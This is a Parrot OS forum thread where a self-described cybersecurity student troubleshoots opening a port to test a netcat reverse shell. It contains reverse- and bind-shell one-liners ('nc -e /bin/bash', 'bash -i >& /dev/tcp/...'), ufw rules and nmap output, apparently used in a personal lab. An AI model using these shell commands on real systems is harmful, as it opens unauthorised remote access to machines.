How do I open a port in Parrot OS?

Briefly describe your issue below:

Just want to open a port.

What version of Parrot are you running? (include version (e.g. 4.6), edition(e.g. Home//KDE/OVA, etc.), and architecture (currently we only support amd64)

5.3.0-3parrot3-amd64 #1 SMP Parrot 5.3.9-3parrot3 (2019-11-23) x86_64 GNU/Linux

What method did you use to install Parrot? (Debian Standard / Debian GTK / parrot-experimental)

Debian Standard

Configured to multiboot with other systems? (yes / no)

List your networking hardware (make, model, firmware version):

3:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06)

If there are any similar issues or solutions, link to them below:

If there are any error messages or relevant logs, post them below:

What do you mean by “open a port”?

Are you trying to unblock a firewall port on your local machine… start a server on a specific port… use netcat?

You need to be more specific in your questions. Details, details, details. :wink:

sudo nc -e /bin/bash -nvlp 13337 =)))

I am trying to use netcat. I am studying cybersecurity, and I want to see if I can create a reverse shell.

sudo -i; ufw
ufw allow (port)/tcp
ufw allow (port)/udp

I did not have ufw on the system, so I installed it. Gave it a try, but did not seem to work.

#ufw allow 8888/tcp
Rules updated
Rules updated (v6)

Starting Nmap 7.80 ( ) at 2020-05-07 11:54 MDT
Nmap scan report for fir (
Host is up (0.00011s latency).
rDNS record for myserver
8888/tcp closed sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

#bash -i >& /dev/tcp/ 0> $1 
bash: connect: Connection refused
bash: /dev/tcp/ Connection refused

#nc -e /bin/bash 8888
[] 8888 (?) : Connection refused
#nc -e /bin/bash 13337
no port[s] to connect to

# ufw allow 13337/tcp
Rules updated
Rules updated (v6)

#nc -e /bin/bash 13337
no port[s] to connect to

as i know every local port is open no need to try to open it

  • if that didn’t work with you just stop it and try to install gufw
    i used to use it to open my ports on kali linux
    you can check this link:

did my way work ?

I have not got it to work yet.

man netcat
You need a machine to listen and a machine to connect to. Also you can just turn ufw off, it really just gets in the way of whole thing here.